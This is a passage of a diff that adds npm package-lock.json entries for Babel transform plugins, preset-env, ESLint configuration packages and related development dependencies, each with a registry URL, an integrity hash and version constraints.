+ "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-exponentiation-operator": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz",
+ "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-for-of": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.5.tgz",
+ "integrity": "sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-function-name": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz",
+ "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-compilation-targets": "^7.22.5",
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-literals": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz",
+ "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-member-expression-literals": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz",
+ "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-modules-amd": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz",
+ "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-module-transforms": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-modules-commonjs": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.5.tgz",
+ "integrity": "sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-module-transforms": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-simple-access": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-modules-systemjs": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.5.tgz",
+ "integrity": "sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-hoist-variables": "^7.22.5",
+ "@babel/helper-module-transforms": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-validator-identifier": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-modules-umd": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz",
+ "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-module-transforms": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-named-capturing-groups-regex": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz",
+ "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-create-regexp-features-plugin": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-new-target": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz",
+ "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-object-super": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz",
+ "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-replace-supers": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-optional-chaining": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.6.tgz",
+ "integrity": "sha512-Vd5HiWml0mDVtcLHIoEU5sw6HOUW/Zk0acLs/SAeuLzkGNOPc9DB4nkUajemhCmTIz3eiaKREZn2hQQqF79YTg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
+ "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-parameters": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.5.tgz",
+ "integrity": "sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-property-literals": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz",
+ "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-regenerator": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.5.tgz",
+ "integrity": "sha512-rR7KePOE7gfEtNTh9Qw+iO3Q/e4DEsoQ+hdvM6QUDH7JRJ5qxq5AA52ZzBWbI5i9lfNuvySgOGP8ZN7LAmaiPw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "regenerator-transform": "^0.15.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-reserved-words": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz",
+ "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-shorthand-properties": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz",
+ "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-spread": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz",
+ "integrity": "sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-sticky-regex": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz",
+ "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-template-literals": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz",
+ "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-typeof-symbol": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz",
+ "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-unicode-escapes": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.5.tgz",
+ "integrity": "sha512-biEmVg1IYB/raUO5wT1tgfacCef15Fbzhkx493D3urBI++6hpJ+RFG4SrWMn0NEZLfvilqKf3QDrRVZHo08FYg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-unicode-regex": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz",
+ "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-create-regexp-features-plugin": "^7.22.5",
+ "@babel/helper-plugin-utils": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/preset-env": {
+ "version": "7.15.8",
+ "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.15.8.tgz",
+ "integrity": "sha512-rCC0wH8husJgY4FPbHsiYyiLxSY8oMDJH7Rl6RQMknbN9oDDHhM9RDFvnGM2MgkbUJzSQB4gtuwygY5mCqGSsA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/compat-data": "^7.15.0",
+ "@babel/helper-compilation-targets": "^7.15.4",
+ "@babel/helper-plugin-utils": "^7.14.5",
+ "@babel/helper-validator-option": "^7.14.5",
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.15.4",
+ "@babel/plugin-proposal-async-generator-functions": "^7.15.8",
+ "@babel/plugin-proposal-class-properties": "^7.14.5",
+ "@babel/plugin-proposal-class-static-block": "^7.15.4",
+ "@babel/plugin-proposal-dynamic-import": "^7.14.5",
+ "@babel/plugin-proposal-export-namespace-from": "^7.14.5",
+ "@babel/plugin-proposal-json-strings": "^7.14.5",
+ "@babel/plugin-proposal-logical-assignment-operators": "^7.14.5",
+ "@babel/plugin-proposal-nullish-coalescing-operator": "^7.14.5",
+ "@babel/plugin-proposal-numeric-separator": "^7.14.5",
+ "@babel/plugin-proposal-object-rest-spread": "^7.15.6",
+ "@babel/plugin-proposal-optional-catch-binding": "^7.14.5",
+ "@babel/plugin-proposal-optional-chaining": "^7.14.5",
+ "@babel/plugin-proposal-private-methods": "^7.14.5",
+ "@babel/plugin-proposal-private-property-in-object": "^7.15.4",
+ "@babel/plugin-proposal-unicode-property-regex": "^7.14.5",
+ "@babel/plugin-syntax-async-generators": "^7.8.4",
+ "@babel/plugin-syntax-class-properties": "^7.12.13",
+ "@babel/plugin-syntax-class-static-block": "^7.14.5",
+ "@babel/plugin-syntax-dynamic-import": "^7.8.3",
+ "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
+ "@babel/plugin-syntax-json-strings": "^7.8.3",
+ "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
+ "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+ "@babel/plugin-syntax-numeric-separator": "^7.10.4",
+ "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+ "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+ "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+ "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
+ "@babel/plugin-syntax-top-level-await": "^7.14.5",
+ "@babel/plugin-transform-arrow-functions": "^7.14.5",
+ "@babel/plugin-transform-async-to-generator": "^7.14.5",
+ "@babel/plugin-transform-block-scoped-functions": "^7.14.5",
+ "@babel/plugin-transform-block-scoping": "^7.15.3",
+ "@babel/plugin-transform-classes": "^7.15.4",
+ "@babel/plugin-transform-computed-properties": "^7.14.5",
+ "@babel/plugin-transform-destructuring": "^7.14.7",
+ "@babel/plugin-transform-dotall-regex": "^7.14.5",
+ "@babel/plugin-transform-duplicate-keys": "^7.14.5",
+ "@babel/plugin-transform-exponentiation-operator": "^7.14.5",
+ "@babel/plugin-transform-for-of": "^7.15.4",
+ "@babel/plugin-transform-function-name": "^7.14.5",
+ "@babel/plugin-transform-literals": "^7.14.5",
+ "@babel/plugin-transform-member-expression-literals": "^7.14.5",
+ "@babel/plugin-transform-modules-amd": "^7.14.5",
+ "@babel/plugin-transform-modules-commonjs": "^7.15.4",
+ "@babel/plugin-transform-modules-systemjs": "^7.15.4",
+ "@babel/plugin-transform-modules-umd": "^7.14.5",
+ "@babel/plugin-transform-named-capturing-groups-regex": "^7.14.9",
+ "@babel/plugin-transform-new-target": "^7.14.5",
+ "@babel/plugin-transform-object-super": "^7.14.5",
+ "@babel/plugin-transform-parameters": "^7.15.4",
+ "@babel/plugin-transform-property-literals": "^7.14.5",
+ "@babel/plugin-transform-regenerator": "^7.14.5",
+ "@babel/plugin-transform-reserved-words": "^7.14.5",
+ "@babel/plugin-transform-shorthand-properties": "^7.14.5",
+ "@babel/plugin-transform-spread": "^7.15.8",
+ "@babel/plugin-transform-sticky-regex": "^7.14.5",
+ "@babel/plugin-transform-template-literals": "^7.14.5",
+ "@babel/plugin-transform-typeof-symbol": "^7.14.5",
+ "@babel/plugin-transform-unicode-escapes": "^7.14.5",
+ "@babel/plugin-transform-unicode-regex": "^7.14.5",
+ "@babel/preset-modules": "^0.1.4",
+ "@babel/types": "^7.15.6",
+ "babel-plugin-polyfill-corejs2": "^0.2.2",
+ "babel-plugin-polyfill-corejs3": "^0.2.5",
+ "babel-plugin-polyfill-regenerator": "^0.2.2",
+ "core-js-compat": "^3.16.0",
+ "semver": "^6.3.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/preset-modules": {
+ "version": "0.1.5",
+ "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz",
+ "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.0.0",
+ "@babel/plugin-proposal-unicode-property-regex": "^7.4.4",
+ "@babel/plugin-transform-dotall-regex": "^7.4.4",
+ "@babel/types": "^7.4.4",
+ "esutils": "^2.0.2"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/register": {
+ "version": "7.15.3",
+ "resolved": "https://registry.npmjs.org/@babel/register/-/register-7.15.3.tgz",
+ "integrity": "sha512-mj4IY1ZJkorClxKTImccn4T81+UKTo4Ux0+OFSV9hME1ooqS9UV+pJ6BjD0qXPK4T3XW/KNa79XByjeEMZz+fw==",
+ "dev": true,
+ "dependencies": {
+ "clone-deep": "^4.0.1",
+ "find-cache-dir": "^2.0.0",
+ "make-dir": "^2.1.0",
+ "pirates": "^4.0.0",
+ "source-map-support": "^0.5.16"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/regjsgen": {
+ "version": "0.8.0",
+ "resolved": "https://registry.npmjs.org/@babel/regjsgen/-/regjsgen-0.8.0.tgz",
+ "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==",
+ "dev": true
+ },
+ "node_modules/@babel/runtime": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.6.tgz",
+ "integrity": "sha512-wDb5pWm4WDdF6LFUde3Jl8WzPA+3ZbxYqkC6xAXuD3irdEHN1k0NfTRrJD8ZD378SJ61miMLCqIOXYhd8x+AJQ==",
+ "dev": true,
+ "dependencies": {
+ "regenerator-runtime": "^0.13.11"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/template": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.5.tgz",
+ "integrity": "sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/code-frame": "^7.22.5",
+ "@babel/parser": "^7.22.5",
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/traverse": {
+ "version": "7.22.8",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.8.tgz",
+ "integrity": "sha512-y6LPR+wpM2I3qJrsheCTwhIinzkETbplIgPBbwvqPKc+uljeA5gP+3nP8irdYt1mjQaDnlIcG+dw8OjAco4GXw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/code-frame": "^7.22.5",
+ "@babel/generator": "^7.22.7",
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/helper-hoist-variables": "^7.22.5",
+ "@babel/helper-split-export-declaration": "^7.22.6",
+ "@babel/parser": "^7.22.7",
+ "@babel/types": "^7.22.5",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/types": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.5.tgz",
+ "integrity": "sha512-zo3MIHGOkPOfoRXitsgHLjEXmlDaD/5KU1Uzuc9GNiZPhSqVxVRtxuPaSBZDsYZ9qV88AjtMtWW7ww98loJ9KA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-string-parser": "^7.22.5",
+ "@babel/helper-validator-identifier": "^7.22.5",
+ "to-fast-properties": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@eslint/eslintrc": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.4.1.tgz",
+ "integrity": "sha512-XXrH9Uarn0stsyldqDYq8r++mROmWRI1xKMXa640Bb//SY1+ECYX6VzT6Lcx5frD0V30XieqJ0oX9I2Xj5aoMA==",
+ "dev": true,
+ "dependencies": {
+ "ajv": "^6.12.4",
+ "debug": "^4.3.2",
+ "espree": "^9.4.0",
+ "globals": "^13.19.0",
+ "ignore": "^5.2.0",
+ "import-fresh": "^3.2.1",
+ "js-yaml": "^4.1.0",
+ "minimatch": "^3.1.2",
+ "strip-json-comments": "^3.1.1"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/@eslint/eslintrc/node_modules/globals": {
+ "version": "13.20.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz",
+ "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==",
+ "dev": true,
+ "dependencies": {
+ "type-fest": "^0.20.2"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/@eslint/eslintrc/node_modules/ignore": {
+ "version": "5.2.4",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz",
+ "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 4"
+ }
+ },
+ "node_modules/@eslint/eslintrc/node_modules/type-fest": {
+ "version": "0.20.2",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+ "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/@humanwhocodes/config-array": {
+ "version": "0.6.0",
+ "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz",
+ "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==",
+ "dev": true,
+ "dependencies": {
+ "@humanwhocodes/object-schema": "^1.2.0",
+ "debug": "^4.1.1",
+ "minimatch": "^3.0.4"
+ },
+ "engines": {
+ "node": ">=10.10.0"
+ }
+ },
+ "node_modules/@humanwhocodes/object-schema": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz",
+ "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==",
+ "dev": true
+ },
+ "node_modules/@istanbuljs/load-nyc-config": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
+ "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==",
+ "dev": true,
+ "dependencies": {
+ "camelcase": "^5.3.1",
+ "find-up": "^4.1.0",
+ "get-package-type": "^0.1.0",
+ "js-yaml": "^3.13.1",
+ "resolve-from": "^5.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/@istanbuljs/load-nyc-config/node_modules/argparse": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
